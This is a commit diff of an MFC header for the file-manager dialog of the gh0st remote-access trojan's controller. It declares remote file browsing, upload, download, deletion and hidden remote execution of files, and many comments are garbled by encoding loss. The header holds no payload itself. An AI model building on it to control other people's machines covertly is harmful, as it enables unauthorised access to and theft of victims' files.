修复内存泄漏缺陷
详见ReadMe.txt
This commit is contained in:
@@ -1,190 +1,178 @@
|
||||
#if !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)
|
||||
#define AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_
|
||||
#include "TrueColorToolBar.h" // Added by ClassView
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
#include "TrueColorToolBar.h"
|
||||
#endif // _MSC_VER > 1000
|
||||
#include "gh0st2Remote.h"
|
||||
|
||||
// CFileManagerDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
// FileManagerDlg.h : header file
|
||||
//
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
}FILE_SIZE;
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileManagerDlg dialog
|
||||
typedef CList<CString, CString&> strList;
|
||||
|
||||
typedef CList<CString, CString&> ListTemplate;
|
||||
class CFileManagerDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CFileManagerDlg)
|
||||
|
||||
// Construction
|
||||
public:
|
||||
CFileManagerDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CFileManagerDlg();
|
||||
bool m_bIsStop;
|
||||
CString m_strReceiveLocalFile;
|
||||
CString m_strUploadRemoteFile;
|
||||
void ShowProgress();
|
||||
void SendStop();
|
||||
int m_nTransferMode;
|
||||
CString m_hCopyDestFolder;
|
||||
void SendContinue();
|
||||
void SendException();
|
||||
void EndLocalRecvFile();
|
||||
void EndRemoteDeleteFile();
|
||||
CString m_strOperatingFile; // <20>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
__int64 m_nOperatingFileLength; // <20>ļ<EFBFBD><C4BC>ܴ<EFBFBD>С
|
||||
__int64 m_nCounter;// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void WriteLocalRecvFile();
|
||||
void CreateLocalRecvFile();
|
||||
BOOL SendDownloadJob();
|
||||
BOOL SendUploadJob();
|
||||
BOOL SendDeleteJob();
|
||||
|
||||
VOID CFileManagerDlg::FixedClientDiskDriverList();
|
||||
VOID CFileManagerDlg::FixedServerDiskDriverList();
|
||||
strList m_Remote_Download_Job;
|
||||
strList m_Remote_Upload_Job;
|
||||
strList m_Remote_Delete_Job;
|
||||
CTrueColorToolBar m_wndToolBar_Local;
|
||||
CTrueColorToolBar m_wndToolBar_Remote;
|
||||
void ShowMessage(char *lpFmt, ...);
|
||||
CString m_Remote_Path;
|
||||
BYTE m_bRemoteDriveList[1024];
|
||||
CString GetParentDirectory(CString strPath);
|
||||
void OnReceiveComplete();
|
||||
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
CString m_strClientIP;
|
||||
BYTE m_szClientDiskDriverList[0x1000];
|
||||
char m_szServerDiskDriverList[0x1000];
|
||||
CImageList* m_pImageList_Large;
|
||||
CImageList* m_pImageList_Small;
|
||||
|
||||
int GetServerIconIndex(LPCTSTR szVolume, DWORD dwFileAttributes)
|
||||
{
|
||||
SHFILEINFO sfi;
|
||||
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
|
||||
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
|
||||
else
|
||||
dwFileAttributes |= FILE_ATTRIBUTE_NORMAL;
|
||||
int m_nNewIconBaseIndex; // <20>¼ӵ<C2BC>ICON
|
||||
|
||||
SHGetFileInfo
|
||||
(
|
||||
szVolume,
|
||||
dwFileAttributes,
|
||||
&sfi,
|
||||
sizeof(SHFILEINFO),
|
||||
SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES
|
||||
);
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
|
||||
return sfi.iIcon;
|
||||
}
|
||||
CProgressCtrl* m_ProgressCtrl;
|
||||
HCURSOR m_hCursor;
|
||||
CString m_Local_Path;
|
||||
bool FixedUploadDirectory(LPCTSTR lpPathName);
|
||||
void FixedLocalDriveList();
|
||||
void FixedRemoteDriveList();
|
||||
void FixedLocalFileList(CString directory = "");
|
||||
void GetRemoteFileList(CString directory = "");
|
||||
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||
|
||||
CString CFileManagerDlg::GetParentDirectory(CString strPath)
|
||||
{
|
||||
CString strCurrentPath = strPath;
|
||||
int iIndex = strCurrentPath.ReverseFind('\\');
|
||||
if (iIndex == -1)
|
||||
{
|
||||
return strCurrentPath;
|
||||
}
|
||||
CString strCurrentSubPath = strCurrentPath.Left(iIndex);
|
||||
iIndex = strCurrentSubPath.ReverseFind('\\');
|
||||
if (iIndex == -1)
|
||||
{
|
||||
strCurrentPath = "";
|
||||
return strCurrentPath;
|
||||
}
|
||||
strCurrentPath = strCurrentSubPath.Left(iIndex);
|
||||
HICON m_hIcon;
|
||||
CStatusBar m_wndStatusBar;
|
||||
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
|
||||
if(strCurrentPath.Right(1) != "\\")
|
||||
strCurrentPath += "\\";
|
||||
return strCurrentPath;
|
||||
}
|
||||
// Dialog Data
|
||||
//{{AFX_DATA(CFileManagerDlg)
|
||||
enum { IDD = IDD_FILE };
|
||||
CComboBox m_Remote_Directory_ComboBox;
|
||||
CComboBox m_Local_Directory_ComboBox;
|
||||
CListCtrl m_list_remote;
|
||||
CListCtrl m_list_local;
|
||||
//}}AFX_DATA
|
||||
|
||||
void CFileManagerDlg::EnableControl(BOOL bEnable)
|
||||
{
|
||||
m_ControlList_Client.EnableWindow(bEnable);
|
||||
m_ControlList_Server.EnableWindow(bEnable);
|
||||
m_ComboBox_Server.EnableWindow(bEnable);
|
||||
m_ComboBox_Client.EnableWindow(bEnable);
|
||||
}
|
||||
|
||||
CTrueColorToolBar m_ToolBar_File_Server; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// CTrueColorToolBar m_wndToolBar_Remote;
|
||||
// Overrides
|
||||
// ClassWizard generated virtual function overrides
|
||||
//{{AFX_VIRTUAL(CFileManagerDlg)
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
||||
virtual void PostNcDestroy();
|
||||
//}}AFX_VIRTUAL
|
||||
|
||||
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_FILE_MANAGER };
|
||||
// Implementation
|
||||
protected:
|
||||
|
||||
// Generated message map functions
|
||||
//{{AFX_MSG(CFileManagerDlg)
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg HCURSOR OnQueryDragIcon();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnTimer(UINT nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnLocalPrev();
|
||||
afx_msg void OnRemotePrev();
|
||||
afx_msg void OnLocalView();
|
||||
afx_msg void OnLocalList();
|
||||
afx_msg void OnLocalReport();
|
||||
afx_msg void OnLocalBigicon();
|
||||
afx_msg void OnLocalSmallicon();
|
||||
afx_msg void OnRemoteBigicon();
|
||||
afx_msg void OnRemoteList();
|
||||
afx_msg void OnRemoteReport();
|
||||
afx_msg void OnRemoteSmallicon();
|
||||
afx_msg void OnRemoteView();
|
||||
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
|
||||
afx_msg void OnRemoteCopy();
|
||||
afx_msg void OnLocalCopy();
|
||||
afx_msg void OnLocalDelete();
|
||||
afx_msg void OnRemoteDelete();
|
||||
afx_msg void OnRemoteStop();
|
||||
afx_msg void OnLocalStop();
|
||||
afx_msg void OnLocalNewfolder();
|
||||
afx_msg void OnRemoteNewfolder();
|
||||
afx_msg void OnTransfer();
|
||||
afx_msg void OnRename();
|
||||
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnDelete();
|
||||
afx_msg void OnNewfolder();
|
||||
afx_msg void OnRefresh();
|
||||
afx_msg void OnLocalOpen();
|
||||
afx_msg void OnRemoteOpenShow();
|
||||
afx_msg void OnRemoteOpenHide();
|
||||
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
//}}AFX_MSG
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
|
||||
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
|
||||
BOOL m_bDragging; //T during a drag operation
|
||||
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
|
||||
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
|
||||
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CListCtrl m_ControlList_Client;
|
||||
CListCtrl m_ControlList_Server;
|
||||
|
||||
CImageList* m_ImageList_Large;
|
||||
CImageList* m_ImageList_Small;
|
||||
afx_msg void OnClose();
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnNMDblclkListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
VOID CFileManagerDlg::FixedServerFileList(CString strDirectory="");
|
||||
VOID CFileManagerDlg::FixedClientFileList(BYTE *szBuffer, ULONG ulLength);
|
||||
|
||||
CString m_Server_File_Path;
|
||||
CString m_Client_File_Path;
|
||||
CComboBox m_ComboBox_Server;
|
||||
CComboBox m_ComboBox_Client;
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg void OnCbnSelchangeComboServer();
|
||||
afx_msg void OnCbnDblclkComboServer();
|
||||
CStatic m_FileServerBarPos;
|
||||
CStatic m_FileClientBarPos;
|
||||
|
||||
afx_msg void OnIdtServerPrev();
|
||||
afx_msg void OnIdtServerNewFolder();
|
||||
afx_msg void OnIdtServerDelete();
|
||||
afx_msg void OnIdtServerStop();
|
||||
BOOL m_bIsStop;
|
||||
BOOL CFileManagerDlg::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
|
||||
BOOL CFileManagerDlg::DeleteDirectory(LPCTSTR strDirectoryFullPath) ;
|
||||
afx_msg void OnViewBigIcon();
|
||||
afx_msg void OnViewSmallIcon();
|
||||
afx_msg void OnViewDetail();
|
||||
afx_msg void OnViewList();
|
||||
afx_msg void OnNMDblclkListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
VOID CFileManagerDlg::GetClientFileList(CString strDirectory="");
|
||||
VOID CFileManagerDlg::OnReceiveComplete();
|
||||
afx_msg void OnLvnBegindragListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
|
||||
BOOL m_bDragging;
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
VOID CFileManagerDlg::DropItemOnList();
|
||||
|
||||
CListCtrl* m_DragControlList;
|
||||
CListCtrl* m_DropControlList;
|
||||
|
||||
HCURSOR m_hCursor;
|
||||
|
||||
ListTemplate m_Remote_Upload_Job;
|
||||
VOID CFileManagerDlg::OnCopyServerToClient();
|
||||
BOOL CFileManagerDlg::SendToClientJob();
|
||||
|
||||
CString m_strSourFileFullPath;
|
||||
CString m_strDestFileFullPath;
|
||||
__int64 m_OperatingFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ܴ<EFBFBD>С
|
||||
VOID CFileManagerDlg::SendFileData();
|
||||
__int64 m_ulCounter;
|
||||
VOID CFileManagerDlg::EndCopyServerToClient();
|
||||
|
||||
BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath) ;
|
||||
|
||||
CStatusBar m_StatusBar; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
||||
CProgressCtrl* m_ProgressCtrl;
|
||||
|
||||
void CFileManagerDlg::ShowProgress()
|
||||
{
|
||||
if ((int)m_ulCounter == -1)
|
||||
{
|
||||
m_ulCounter = m_OperatingFileLength;
|
||||
}
|
||||
|
||||
int iProgress = (float)(m_ulCounter * 100) / m_OperatingFileLength;
|
||||
m_ProgressCtrl->SetPos(iProgress);
|
||||
|
||||
|
||||
if (m_ulCounter == m_OperatingFileLength)
|
||||
{
|
||||
m_ulCounter = m_OperatingFileLength = 0;
|
||||
}
|
||||
}
|
||||
|
||||
VOID CFileManagerDlg::SendTransferMode();
|
||||
|
||||
ULONG m_ulTransferMode;
|
||||
|
||||
afx_msg void OnNMRClickListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnOperationServerRun();
|
||||
afx_msg void OnOperationRename();
|
||||
afx_msg void OnLvnEndlabeleditListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnNMRClickListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnOperationClientShowRun();
|
||||
afx_msg void OnOperationClientHideRun();
|
||||
afx_msg void OnLvnEndlabeleditListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnOperationCompress();
|
||||
|
||||
VOID CFileManagerDlg::ServerCompress(ULONG ulType);
|
||||
BOOL CFileManagerDlg::CompressFiles(PCSTR strRARFileFullPath,PSTR strString,ULONG ulType);
|
||||
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
|
||||
private:
|
||||
bool m_bIsUpload; // <20>Ƿ<EFBFBD><C7B7>ǰѱ<C7B0><D1B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD>־<EFBFBD><D6BE><EFBFBD><EFBFBD>λ
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
void SendTransferMode();
|
||||
void SendFileData();
|
||||
void EndLocalUploadFile();
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
void EnableControl(BOOL bEnable = TRUE);
|
||||
};
|
||||
|
||||
//{{AFX_INSERT_LOCATION}}
|
||||
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)
|
||||
|
||||
Reference in New Issue
Block a user